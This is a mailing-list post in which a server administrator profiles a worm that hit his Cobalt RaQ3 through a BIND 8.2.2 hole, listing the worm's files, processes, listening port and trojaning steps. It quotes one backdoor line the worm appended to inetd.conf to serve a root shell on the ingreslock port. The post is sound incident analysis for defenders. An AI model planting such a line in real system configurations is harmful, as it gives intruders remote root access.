[cobalt-security] profile of a bind worm

["Kevin D" <kdlists@xxxxxxxxxxxxxxx>]

I had a very interesting encounter with a bind worm this weekend, and I
thought the list might benefit from what I found.

When the bind vulnerability advisory for bind 8.2.2 was published several
months ago, I applied the RPM to upgrade bind before Cobalt produced their
.pkg file. On wednesday, I performed several overdue updates to my cobalt
raq3 server, and one of these updates uncluded OS Update 4.0. What I did not
realize was that OS Update 4.0 by cobalt included an updated 8.2.2 version
of bind. In effect, the OS Update 4.0 downgraded my version of bind from
8.2.3 to the vulnerable 8.2.2. Let me make it clear that this was my fault,
as I should have read the docs that accompanied this update X-(

On sunday, I received an email from our What's Up monitoring service saying
that my raq3's dns service had been restarted, so I logged into the server
and performed some quick checks. A ps ax revealed a ton of processes running
called w0rmssscanner and one called w0rmssserver.

My server was compromised on Sunday, just 4 days after downgrading to bind
8.2.2. The worm that attacked my server used the bind vulnerability to
install itself into /home/tmp/.tmp
Here is what that directory looked like (ls -lc):

-rw-r--r--   1 named    root         2578 Jun 10 15:02 nameds
-rwxr-xr-x   1 named    root        50148 Jun 10 10:51 LS
-rwxr-xr-x   1 named    root       138703 Jun 10 10:51 ls
drwxr-xr-x   2 named    root         1024 Jun 10 10:51 stuff
drwxr-xr-x   2 named    root         1024 Jun 10 10:51 log
-rw-------   1 named    root            5 Jun 10 10:51 pid
-rw-r--r--   1 named    root          209 Jun 10 10:51 conf
-rwxr-xr-x   1 named    root         5081 Jun 10 10:51 du
-rw-r--r--   1 named    root         2942 Jun 10 10:51 inetd.conf
-rw-r--r--   1 named    root           13 Jun 10 10:51 lsfile
-rw-r--r--   1 named    root         7354 Jun 10 10:51 mime.types
-rwxr-xr-x   1 named    root         5161 Jun 10 10:51 ps
-rwxr-xr-x   1 named    root          477 Jun 10 10:51 w0rmIP
-rwxr-xr-x   1 named    root         9659 Jun 10 10:51 w0rmlinx
-rwxr-xr-x   1 named    root           35 Jun 10 10:51 w0rmlinx.sh
-rwxr-xr-x   1 named    root         7006 Jun 10 10:51 w0rmmigs
-rwxr-xr-x   1 named    root        36036 Jun 10 10:51 w0rmserver
-rwxr-xr-x   1 named    root        16576 Jun 10 10:51 w0rmssscan
-rwxr-xr-x   1 named    root         1385 Jun 10 10:51 w0rmstart

I then checked the messages log to find several mysterious log messages from
inetd that started on Jun 10 10:51A. This time corresponded with the create
times of the files listed above. Every 10 minutes from then on, there were 3
log entries from inetd that claimed named permissions problems.

I ran some netstat commands and found that w0rmssserver was listening on
port 12321, and the many processes of w0rmssscan processes were creating
connections to various servers on the internet on port 53 - probably
scanning for other vulnerable bind servers.

I copied the contents of /home/tmp/.tmp to my home directory and examined
w0rmstart, an sh shell script. This script retrieved hacked binaries of ls,
ps, and netstat, and also the w0rmssserver and w0rmssscan files, from
another server. The script performed this retrieval by connecting to the
remote server on port 12321 - the same port on which w0rmssserver is set up
to listen.

The script then started w0rmsserver and w0rmssscan processes. The script
also tried to create a backdoor in inetd.conf by appending the following
line to inetd.conf: "ingreslock stream tcp nowait root /bin/sh sh -i"
The script then started inetd, without killing the currently running version
of inetd. This created the message log entries about named permissions
problems mentioned above. The second inetd process was trying to bind ports
for services that were already running with the first version of inetd, and
the second inetd process was running as user named, not root.

The script started another, called tr0jan, which attempted to copy the
hacked binaries over the originals. This script was responsible for killing
the inetd process, and installing an sshd trojan back door. It also tried to
install a version of bind, which seems to link it in some way to the cheese
worm. Maybe this was done to prevent others from hacking the owned box? The
script deleted itself when it finished, probably to cover hide which files
were trojaned.

Thankfully, because my bind server was running as user named, the worm was
unable to compromise my ls, ps and netstat files, and was unable to modify
my inetd.conf file. Had my ls, ps and netstat files been modified, my
baseline file scanner, fcheck, would have picked up the changes, but I would
have had to reload those files to find the worm.

At this point, I decided to kill all of the worm's processes. In hindsight,
this was not a terribly good idea, as it may have triggered some kind of
bomb planted in the worm. I should have frozen the processes and killed them
off from their frozen state.

If anyone is fond of looking at hex dumps, I have all of the worms files,
and I can send them to you off list if you like.

Kevin